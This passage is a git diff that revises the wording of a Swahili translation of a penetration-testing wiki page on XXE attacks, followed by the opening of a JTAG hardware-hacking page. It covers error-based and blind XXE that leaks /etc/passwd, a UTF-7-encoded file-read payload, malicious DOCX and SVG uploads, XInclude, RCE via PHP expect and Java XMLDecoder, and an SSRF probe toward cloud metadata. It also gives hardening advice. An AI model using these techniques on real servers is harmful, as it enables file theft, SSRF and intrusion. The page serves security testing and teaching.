tangazo la dinamik kwa kigezo kingine cha XML kinachoitwa `error`. Kigezo hiki `error`, kinapojaribiwa, kinajaribu kupakia faili isiyopo, kikijumuisha maudhui ya kigezo cha `file` kama jina lake. 3. Kigezo cha `eval` kinaitwa, na kusababisha tangazo la dinamik la kigezo cha `error`. 4. Kuitwa kwa kigezo cha `error` kunasababisha jaribio la kupakia faili isiyopo, na kutoa ujumbe wa kosa unaojumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili. -DTD mbaya ya nje inaweza kuitwa kwa XML ifuatayo: +DTD ya nje mbaya inaweza kuitwa kwa XML ifuatayo: ```xml %xxe;]> @@ -144,15 +144,15 @@ Upon execution, the web server's response should include an error message displa ![](<../images/image (809).png>) -_**Tafadhali notice kwamba DTD ya nje inaturuhusu kujumuisha entiti moja ndani ya `eval` ya pili, lakini inakatazwa katika DTD ya ndani. Hivyo, huwezi kulazimisha kosa bila kutumia DTD ya nje (kawaida).**_ +_**Tafadhali notice kwamba DTD ya nje inatupa ruhusa ya kujumuisha entiti moja ndani ya `eval` ya pili, lakini inakatazwa katika DTD ya ndani. Hivyo, huwezi kulazimisha kosa bila kutumia DTD ya nje (kawaida).**_ ### **Kosa Kulingana (system DTD)** Hivyo kuhusu udhaifu wa XXE kipofu wakati **mawasiliano ya nje yamezuiwa** (muunganisho wa nje haupo)? -Kipengele katika spesifikesheni ya lugha ya XML kinaweza **kuweka wazi data nyeti kupitia ujumbe wa makosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Tatizo hili linaruhusu upya wa ndani wa entiti zilizotangazwa kwa nje, na kuwezesha utekelezaji wa mashambulizi ya XXE yanayotegemea makosa. Mashambulizi kama haya yanatumia upya wa entiti ya parameter ya XML, ambayo awali ilitangazwa katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati muunganisho wa nje unazuiwa na seva, washambuliaji wanapaswa kutegemea faili za DTD za ndani ili kufanya shambulizi, wakilenga kusababisha kosa la uchambuzi ili kufichua taarifa nyeti. +Kipengele katika spesifikasisi ya lugha ya XML kinaweza **kuweka wazi data nyeti kupitia ujumbe wa makosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Tatizo hili linaruhusu upya wa ndani wa entiti zilizotangazwa kwa nje, kurahisisha utekelezaji wa mashambulizi ya XXE yanayotegemea makosa. Mashambulizi kama haya yanatumia upya wa entiti ya parameter ya XML, ambayo awali ilitangazwa katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati muunganisho wa nje unazuiwa na seva, washambuliaji wanapaswa kutegemea faili za DTD za ndani ili kufanya shambulizi, wakilenga kusababisha kosa la uchambuzi ili kufichua taarifa nyeti. -Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikitaja entiti inayoitwa `custom_entity`. Mshambuliaji anaweza kusababisha kosa la uchambuzi wa XML linalofichua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya mseto kama ifuatavyo: +Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikitaja entiti inayoitwa `custom_entity`. Mshambuliaji anaweza kusababisha kosa la uchambuzi wa XML linalofichua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya mchanganyiko kama ifuatavyo: ```xml @@ -165,13 +165,13 @@ Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/a %local_dtd; ]> ``` -The outlined steps are executed by this DTD: +Hatua zilizoelezwa zinafanywa na hii DTD: -- Mwelekeo wa kituo cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa faili wa seva. -- Ufafanuzi mpya unafanyika kwa kituo cha XML `custom_entity`, ambacho kilifafanuliwa awali katika DTD ya nje, ili kufunika [kuvunjika kwa XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ufafanuzi huu mpya umeundwa ili kuleta kosa la uchambuzi, na kufichua maudhui ya faili ya `/etc/passwd`. -- Kwa kutumia kituo cha `local_dtd`, DTD ya nje inahusishwa, ikijumuisha `custom_entity` iliyofafanuliwa upya. Mfululizo huu wa vitendo unasababisha kutolewa kwa ujumbe wa kosa unaokusudiwa na uvunjaji. +- Mwelekeo wa kitu cha XML parameter kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa faili wa seva. +- Ufafanuzi mpya unafanyika kwa kitu cha XML parameter `custom_entity`, ambacho kilifafanuliwa awali katika DTD ya nje, ili kufunika [kuvunjika kwa XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ufafanuzi huu mpya umeundwa ili kuleta kosa la uchambuzi, na kufichua maudhui ya faili ya `/etc/passwd`. +- Kwa kutumia kitu cha `local_dtd`, DTD ya nje inahusishwa, ikijumuisha `custom_entity` iliyofafanuliwa upya. Mfululizo huu wa vitendo unasababisha kutolewa kwa ujumbe wa kosa unaokusudiwa na uvunjaji. -**Real world example:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD katika `/usr/share/yelp/dtd/docbookx.dtd` inayojumuisha kituo kinachoitwa `ISOamso` +**Mfano wa ulimwengu halisi:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD katika `/usr/share/yelp/dtd/docbookx.dtd` inayojumuisha kitu kinachoitwa `ISOamso` ```xml ) -Kwa kuwa mbinu hii inatumia **DTD ya ndani unahitaji kupata halali kwanza**. Unaweza kufanya hivi kwa **kuyasakinisha** **OS / Software** sawa na ile ambayo seva inatumia na **kutafuta baadhi ya DTD za kawaida**, au **kuchukua orodha** ya **DTD za kawaida** ndani ya mifumo na **kuangalia** kama yoyote kati yao ipo: +Kwa kuwa mbinu hii inatumia **DTD ya ndani unahitaji kupata halali kwanza**. Unaweza kufanya hivi **kwa kufunga** ile ile **OS / Software** ambayo seva inatumia na **kutafuta baadhi ya DTD za kawaida**, au **kuchukua orodha** ya **DTD za kawaida** ndani ya mifumo na **kuangalia** kama yoyote yao ipo: ```xml @@ -221,7 +221,7 @@ Testing 0 entities : [] Kwa maelezo ya kina zaidi kuhusu shambulio hili, **angalia sehemu ya pili ya** [**hiki kipande cha ajabu**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **kutoka Detectify**. -Uwezo wa **kupakia hati za Microsoft Office unapatikana katika programu nyingi za wavuti**, ambazo kisha zinaendelea kutoa maelezo fulani kutoka kwa hati hizi. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuingiza data kwa kupakia karatasi ya hesabu ya muundo wa XLSX. Ili parser iweze kutoa data kutoka kwa karatasi ya hesabu, itahitaji kwa lazima kuchambua angalau faili moja ya XML. +Uwezo wa **kupakia hati za Microsoft Office unapatikana katika programu nyingi za wavuti**, ambazo kisha zinaendelea kutoa maelezo fulani kutoka kwa hati hizi. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuingiza data kwa kupakia karatasi ya hesabu ya muundo wa XLSX. Ili parser iweze kutoa data kutoka kwa karatasi ya hesabu, itahitaji bila shaka kuchambua angalau faili moja ya XML. Ili kujaribu udhaifu huu, ni muhimu kuunda **faili ya Microsoft Office yenye mzigo wa XXE**. Hatua ya kwanza ni kuunda directory tupu ambayo hati inaweza kufunguliwa. @@ -229,7 +229,7 @@ Mara hati inapofunguliwa, faili ya XML iliyoko katika `./unzipped/word/document. Mistari ya XML iliyobadilishwa inapaswa kuingizwa kati ya vitu viwili vya XML vya mzizi. Ni muhimu kubadilisha URL kuwa URL inayoweza kufuatiliwa kwa maombi. -Hatimaye, faili inaweza kufungiwa ili kuunda faili ya hatari ya poc.docx. Kutoka kwenye directory ya "unzipped" iliyoundwa awali, amri ifuatayo inapaswa kutekelezwa: +Hatimaye, faili inaweza kufungwa ili kuunda faili ya hatari ya poc.docx. Kutoka kwenye directory ya "unzipped" iliyoundwa awali, amri ifuatayo inapaswa kutekelezwa: Sasa, faili iliyoundwa inaweza kupakiwa kwenye programu ya wavuti inayoweza kuwa na udhaifu, na mtu anaweza kutumaini ombi kuonekana katika kumbukumbu za Burp Collaborator. @@ -257,7 +257,7 @@ Mbinu ya kuvutia ya kuingilia kati mchakato huu katika hatua ya pili inahusisha &xxe; ``` > [!CAUTION] -> Kuandika faili katika directory ya muda kunaweza kusaidia **kuongeza udhaifu mwingine unaohusisha kupita njia** (kama vile kuingiza faili za ndani, kuingiza templeti, XSLT RCE, deserialization, nk). +> Kuandika faili katika saraka ya muda kunaweza kusaidia **kuinua udhaifu mwingine unaohusisha usafiri wa njia** (kama vile kujumuisha faili za ndani, sindikiza templeti, XSLT RCE, deserialization, nk). ### XSS ```xml @@ -310,17 +310,17 @@ Then you can try to crack the hash using hashcat ### XInclude -Wakati wa kuunganisha data za mteja katika hati za XML za upande wa seva, kama zile katika maombi ya SOAP ya nyuma, udhibiti wa moja kwa moja juu ya muundo wa XML mara nyingi ni mdogo, ukikandamiza mashambulizi ya jadi ya XXE kutokana na vizuizi vya kubadilisha kipengele cha `DOCTYPE`. Hata hivyo, shambulio la `XInclude` linatoa suluhisho kwa kuruhusu kuingizwa kwa viumbe vya nje ndani ya kipengele chochote cha data cha hati ya XML. Njia hii ni bora hata wakati sehemu tu ya data ndani ya hati ya XML iliyozalishwa na seva inaweza kudhibitiwa. +Wakati wa kuunganisha data za mteja katika hati za XML za upande wa seva, kama zile katika maombi ya SOAP ya nyuma, udhibiti wa moja kwa moja juu ya muundo wa XML mara nyingi ni mdogo, na kuzuia mashambulizi ya jadi ya XXE kutokana na vizuizi vya kubadilisha kipengele cha `DOCTYPE`. Hata hivyo, shambulio la `XInclude` linatoa suluhisho kwa kuruhusu kuingizwa kwa vitu vya nje ndani ya kipengele chochote cha data cha hati ya XML. Njia hii ni bora hata wakati sehemu tu ya data ndani ya hati ya XML iliyozalishwa na seva inaweza kudhibitiwa. -Ili kutekeleza shambulio la `XInclude`, jina la nafasi la `XInclude` lazima litangazwe, na njia ya faili ya kiumbe cha nje kinachokusudiwa lazima ibainishwe. Hapa chini kuna mfano mfupi wa jinsi shambulio kama hilo linaweza kuandaliwa: +Ili kutekeleza shambulio la `XInclude`, jina la nafasi la `XInclude` lazima litangazwe, na njia ya faili ya kitu cha nje kinachokusudiwa lazima ibainishwe. Chini ni mfano mfupi wa jinsi shambulio kama hilo linaweza kuandaliwa: ```xml productId=&storeId=1 ``` Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info! -### SVG - File Upload +### SVG - Upakuaji wa Faili -Fail zilizopakiwa na watumiaji kwa programu fulani, ambazo kisha zinashughulikiwa kwenye seva, zinaweza kutumia udhaifu katika jinsi XML au muundo wa faili unaoshikilia XML unavyoshughulikiwa. Mifumo ya kawaida ya faili kama hati za ofisi (DOCX) na picha (SVG) inategemea XML. +Faili zinazopakiwa na watumiaji kwenye programu fulani, ambazo kisha zinashughulikiwa kwenye seva, zinaweza kutumia udhaifu katika jinsi XML au muundo wa faili unaoshikilia XML unavyoshughulikiwa. Muundo wa kawaida wa faili kama hati za ofisi (DOCX) na picha (SVG) unategemea XML. Wakati watumiaji **wanapopakia picha**, picha hizi zinashughulikiwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia muundo kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni muundo unaotegemea XML, inaweza kutumiwa na washambuliaji kuwasilisha picha za SVG zenye uharibifu, hivyo kupelekea seva kuwa hatarini kwa XXE (XML External Entity) udhaifu. @@ -340,7 +340,7 @@ Angalia [https://portswigger.net/web-security/xxe](https://portswigger.net/web-s **Kumbuka kwamba mstari wa kwanza wa faili iliyosomwa au wa matokeo ya utekelezaji utaonekana NDANI ya picha iliyoundwa. Hivyo unahitaji kuwa na uwezo wa kufikia picha ambayo SVG imeunda.** -### **PDF - Upakuaji wa faili** +### **PDF - Upakiaji wa faili** Soma chapisho lifuatalo ili **ujifunze jinsi ya kutumia XXE kupakia faili ya PDF**: @@ -398,7 +398,7 @@ Content-Type: application/xml;charset=UTF-8 ``` Mfano mwingine unaweza kupatikana [hapa](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2). -## WAF & Mipango ya Kulinda +## WAF & Ulinzi Bypasses ### Base64 ```xml @@ -408,7 +408,7 @@ Hii inafanya kazi tu ikiwa seva ya XML inakubali itifaki ya `data://`. ### UTF-7 -Unaweza kutumia \[**"Encode Recipe**" ya cyberchef hapa]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) kubadilisha kuwa UTF-7. +Unaweza kutumia \[**"Encode Recipe**" ya cyberchef hapa ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) kubadilisha kuwa UTF-7. ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- @@ -456,7 +456,7 @@ Mfano wa DTD: ```xml ]> ``` -### Utekelezaji wa msimbo wa mbali +### Remote code execution **Ikiwa moduli ya PHP "expect" imepakuliwa** ```xml @@ -476,7 +476,7 @@ Mfano wa DTD: Mfano huu umehamasishwa na [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) -XLIFF (XML Localization Interchange File Format) inatumika kuandaa ubadilishanaji wa data katika mchakato wa uhamasishaji. Ni muundo wa XML unaotumika hasa kwa ajili ya kuhamasisha data inayoweza kubadilishwa kati ya zana wakati wa uhamasishaji na kama muundo wa kawaida wa ubadilishanaji kwa zana za CAT (Computer-Aided Translation). +XLIFF (XML Localization Interchange File Format) inatumika kuimarisha ubadilishanaji wa data katika mchakato wa uhamasishaji. Ni muundo wa XML unaotumika hasa kwa ajili ya kuhamasisha data inayoweza kubadilishwa kati ya zana wakati wa uhamasishaji na kama muundo wa kawaida wa kubadilishana kwa zana za CAT (Computer-Aided Translation). ### Blind Request Analysis @@ -514,9 +514,9 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -Mbinu hii inaonyesha kwamba User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kilichotajwa na toleo hili la Java ni kutoweza kupata faili zinazojumuisha herufi mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band. +Mbinu hii inaonyesha kwamba User Agent inaonyesha matumizi ya Java 1.8. Kikwazo kilichotajwa na toleo hili la Java ni kutoweza kupata faili zinazojumuisha tabo mpya, kama vile /etc/passwd, kwa kutumia mbinu ya Out of Band. -Uhamishaji wa Data kwa Msingi wa Hitilafu Ili kushinda kikwazo hiki, mbinu ya Msingi wa Hitilafu inatumika. Faili ya DTD imeundwa kama ifuatavyo ili kuanzisha hitilafu inayojumuisha data kutoka kwa faili lengwa: +Data Exfiltration Iliyotokana na Hitilafu Ili kushinda kikwazo hiki, mbinu ya Hitilafu inatumika. Faili ya DTD imeundwa kama ifuatavyo ili kuanzisha hitilafu inayojumuisha data kutoka kwa faili lengwa: ```xml "> @@ -609,7 +609,7 @@ Kutumia kichujio cha PHP base64 ``` ## Java XMLDecoder XEE to RCE -XMLDecoder ni darasa la Java linalounda vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mbaya anaweza kufanya programu itumie data zisizo na mpangilio katika wito wa njia **readObject**, atapata mara moja utekelezaji wa msimbo kwenye seva. +XMLDecoder ni darasa la Java linalounda vitu kulingana na ujumbe wa XML. Ikiwa mtumiaji mbaya anaweza kufanya programu kutumia data isiyo ya kawaida katika wito wa njia **readObject**, atapata mara moja utekelezaji wa msimbo kwenye seva. ### Using Runtime().exec() ```xml @@ -689,7 +689,7 @@ https://github.com/luisfontes19/xxexploiter #### 1. Kutumia lxml < 5.4.0 1. Tambua au tengeneza DTD *ya ndani* kwenye diski inayofafanua **entity** isiyofafanuliwa (mfano, `%config_hex;`). 2. Tengeneza DTD ya ndani ambayo: -* Inapakia DTD ya ndani na ``. +* Inapakia DTD ya ndani kwa ``. * Inafafanua upya entity isiyofafanuliwa ili: - Isome faili lengwa (``). - Ijenge entity nyingine ya parameter inayorejelea **njia isiyo sahihi** yenye thamani ya `%flag;` na kuanzisha makosa ya parser (`">`). @@ -728,17 +728,17 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}" ``` #### Key takeaways * **Parameter entities** bado zinapanuliwa na libxml2 hata wakati `resolve_entities` inapaswa kuzuia XXE. -* **URI isiyo sahihi** au **faili isiyopo** inatosha kuunganisha data iliyodhibitiwa katika ubaguzi uliofanywa. -* Mbinu hii inafanya kazi **bila muunganisho wa nje**, na kuifanya kuwa bora kwa mazingira yaliyofungwa kwa uhamisho. +* **URI isiyo sahihi** au **faili isiyopo** inatosha kuunganisha data iliyodhibitiwa katika kosa lililotupwa. +* Mbinu hii inafanya kazi **bila muunganisho wa nje**, na kuifanya iwe bora kwa mazingira yaliyofungwa kwa uhamisho. #### Mitigation guidance -* Pandisha hadi **lxml ≥ 5.4.0** na hakikisha **libxml2** ya msingi ni **≥ 2.13.8**. +* Pandisha toleo la **lxml ≥ 5.4.0** na hakikisha **libxml2** ya msingi ni **≥ 2.13.8**. * Zima `load_dtd` na/au `resolve_entities` isipokuwa inahitajika kabisa. -* Epuka kurudisha makosa ya parser yasiyo na kuchakatwa kwa mteja. +* Epuka kurudisha makosa ya parser yasiyo na mabadiliko kwa mteja. ### Java DocumentBuilderFactory hardening example -Programu za Java mara nyingi huchambua XML kwa kutumia `DocumentBuilderFactory`. Kwa kawaida kiwanda **kinaruhusu ufumbuzi wa vitu vya nje**, na kuifanya kuwa hatarini kwa XXE na SSRF ikiwa hakuna bendera za ziada za kuimarisha zilizowekwa: +Programu za Java mara nyingi hupitia XML kwa kutumia `DocumentBuilderFactory`. Kwa kawaida kiwanda **kinaruhusu ufumbuzi wa vitu vya nje**, na kuifanya iwe hatarini kwa XXE na SSRF ikiwa hakuna bendera za ziada za kuimarisha zilizowekwa: ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone @@ -763,17 +763,17 @@ dbf.setExpandEntityReferences(false); DocumentBuilder builder = dbf.newDocumentBuilder(); ``` -Ikiwa programu inapaswa kusaidia DTDs ndani, weka `disallow-doctype-decl` ikiwa imezimwa lakini **daima** acha vipengele viwili vya `external-*-entities` vikiwa vimewekwa kwenye `false`. Mchanganyiko huu unazuia payloads za kawaida za kufichua faili (`file:///etc/passwd`) pamoja na mwelekeo wa SSRF wa mtandao (`http://169.254.169.254/…`, itifaki ya `jar:`, n.k.). +Ikiwa programu inapaswa kusaidia DTDs ndani, acha `disallow-doctype-decl` iwe imezimwa lakini **daima** acha vipengele viwili vya `external-*-entities` vikiwa vimewekwa kwenye `false`. Mchanganyiko huu unazuia payloads za kawaida za ufichuzi wa faili (`file:///etc/passwd`) pamoja na vectors za SSRF zinazotegemea mtandao (`http://169.254.169.254/…`, protokali ya `jar:`, nk.). -Utafiti wa kesi halisi: **CVE-2025-27136** katika emulator ya Java S3 *LocalS3* ilitumia mjenzi dhaifu ulioonyeshwa hapo juu. Mshambuliaji asiye na uthibitisho angeweza kutoa mwili wa XML ulioandaliwa kwa ajili ya kiunganishi cha `CreateBucketConfiguration` na kufanya seva kuingiza faili za ndani (kwa mfano `/etc/passwd`) katika jibu la HTTP. +Utafiti wa kesi halisi: **CVE-2025-27136** katika emulator ya Java S3 *LocalS3* ilitumia mjenzi ulio hatarini ulioonyeshwa hapo juu. Mshambuliaji asiye na uthibitisho angeweza kutoa mwili wa XML ulioandaliwa kwa ajili ya kiunganishi cha `CreateBucketConfiguration` na kufanya seva kuingiza faili za ndani (kwa mfano `/etc/passwd`) katika jibu la HTTP. ### XXE katika JMF/Print Orchestration Services → SSRF -Baadhi ya majukwaa ya mtiririko wa uchapishaji/orchestration yanaonyesha msikilizaji wa Job Messaging Format (JMF) unaokabiliwa na mtandao ambao unakubali XML kupitia TCP. Ikiwa parser ya msingi inakubali `DOCTYPE` na kutatua vitu vya nje, unaweza kutumia XXE ya kawaida kulazimisha seva kufanya maombi ya nje (SSRF) au kufikia rasilimali za ndani. +Baadhi ya majukwaa ya mtiririko wa uchapishaji/orchestration yanatoa msikilizaji wa Job Messaging Format (JMF) unaokabiliwa na mtandao ambao unakubali XML kupitia TCP. Ikiwa parser ya msingi inakubali `DOCTYPE` na kutatua entiti za nje, unaweza kutumia XXE ya kawaida kulazimisha seva kufanya maombi ya nje (SSRF) au kufikia rasilimali za ndani. Mambo muhimu yaliyoonekana katika mazingira halisi: - Msikilizaji wa mtandao (mfano, mteja wa JMF) kwenye bandari maalum (kawaida 4004 katika Xerox FreeFlow Core). -- Uchanganuzi wa XML unaotegemea Java ndani ya jar (mfano, `jmfclient.jar`) bila `disallow-doctype-decl` au kutatua vitu vya nje kuzimwa. +- Uchanganuzi wa XML unaotegemea Java ndani ya jar (mfano, `jmfclient.jar`) bila `disallow-doctype-decl` au kutatua entiti kumekataliwa. - Mito ya nje ya bendi inathibitisha kwa uhakika unyakuzi. Kichunguzi kidogo cha JMF-style SSRF (muundo hutofautiana kwa bidhaa lakini DOCTYPE ndiyo muhimu): @@ -786,20 +786,20 @@ Kichunguzi kidogo cha JMF-style SSRF (muundo hutofautiana kwa bidhaa lakini DOCT &probe; ``` -Notes: +Marekebisho: - Badilisha URL ya chombo na mshirikiano wako. Ikiwa SSRF inawezekana, seva itatatua wakati wa kuchambua ujumbe. - Ulinzi wa kuangalia: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`. -- Hata wakati bandari ya JMF haitoi faili, SSRF inaweza kuunganishwa kwa ajili ya utafiti wa ndani au kufikia APIs za usimamizi zilizofungwa kwa localhost. +- Hata wakati bandari ya JMF haitoi faili, SSRF inaweza kuunganishwa kwa ajili ya upelelezi wa ndani au kufikia APIs za usimamizi zilizofungwa kwa localhost. -References for this vector are listed at the end of the page. +Marejeo ya vector hii yameorodheshwa mwishoni mwa ukurasa. -## References +## Marejeo - [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/) - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf) - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html) -- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) +- Pata taarifa kupitia HTTP ukitumia DTD yako ya nje: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection) - [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4) - [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9) diff --git a/src/todo/hardware-hacking/jtag.md b/src/todo/hardware-hacking/jtag.md index eef32313d..e7336e423 100644 --- a/src/todo/hardware-hacking/jtag.md +++ b/src/todo/hardware-hacking/jtag.md @@ -8,10 +8,10 @@ README.md ## JTAGenum -[**JTAGenum**](https://github.com/cyphunk/JTAGenum) ni chombo ambacho unaweza kupakia kwenye MCU inayofaa na Arduino au (kwa majaribio) Raspberry Pi ili kujaribu pinouts za JTAG zisizojulikana na hata kuhesabu register za maagizo. +[**JTAGenum**](https://github.com/cyphunk/JTAGenum) ni chombo ambacho unaweza kupakia kwenye MCU inayofanana na Arduino au (kitaalamu) Raspberry Pi ili kujaribu pinouts za JTAG zisizojulikana na hata kuhesabu register za maagizo. -- Arduino: ung'anishe pini za dijitali D2–D11 kwa hadi 10 za JTAG zinazoshukiwa/punkti za mtihani, na GND ya Arduino kwa GND ya lengo. Pata nguvu kwa lengo tofauti isipokuwa unajua reli ni salama. Prefer 3.3 V logic (mfano, Arduino Due) au tumia level shifter/resistors za mfululizo unapochunguza malengo ya 1.8–3.3 V. -- Raspberry Pi: toleo la Pi lina GPIO chache zinazoweza kutumika (hivyo skana ni polepole); angalia repo kwa ramani ya pini ya sasa na vizuizi. +- Arduino: ung'anishe pini za kidijitali D2–D11 kwa hadi 10 za JTAG zinazoshukiwa/punkti za mtihani, na GND ya Arduino kwa GND ya lengo. Pata nguvu kwa lengo tofauti isipokuwa unajua reli ni salama. Prefer 3.3 V logic (mfano, Arduino Due) au tumia level shifter/resistors za mfululizo unapochunguza malengo ya 1.8–3.3 V. +- Raspberry Pi: ujenzi wa Pi unatoa GPIO chache zinazoweza kutumika (hivyo skana ni polepole); angalia repo kwa ramani ya pini ya sasa na vikwazo. Mara tu unapoflash, fungua monitor ya serial kwa 115200 baud na tuma `h` kwa msaada. Mchakato wa kawaida: @@ -33,12 +33,12 @@ Ikiwa TAP halali imepatikana utaona mistari inayaanza na `FOUND!` ikionyesha pin Vidokezo - Daima shiriki ardhi, na usiendeshe pini zisizojulikana juu ya Vtref ya lengo. Ikiwa una shaka, ongeza resistors za mfululizo 100–470 Ω kwenye pini za wagombea. -- Ikiwa kifaa kinatumia SWD/SWJ badala ya JTAG ya nyaya 4, JTAGenum huenda kisigundue; jaribu zana za SWD au adapter inayounga mkono SWJ‑DP. +- Ikiwa kifaa kinatumia SWD/SWJ badala ya JTAG ya nyaya 4, JTAGenum huenda kisikugundue; jaribu zana za SWD au adapter inayounga mkono SWJ‑DP. ## Uwindaji wa pini salama na usanidi wa vifaa - Tambua Vtref na GND kwanza kwa kutumia multimeter. Adapta nyingi zinahitaji Vtref kuweka voltage ya I/O. -- Level shifting: pendelea level shifters za pande mbili zilizoundwa kwa ishara za push‑pull (michakato ya JTAG si wazi-drain). Epuka level shifters za I2C za auto‑direction kwa JTAG. +- Level shifting: pendelea level shifters za pande mbili zilizoundwa kwa ishara za push‑pull (michakato ya JTAG si open‑drain). Epuka auto‑direction I2C shifters kwa JTAG. - Adapta zinazofaa: bodi za FT2232H/FT232H (mfano, Tigard), CMSIS‑DAP, J‑Link, ST‑LINK (maalum kwa muuzaji), 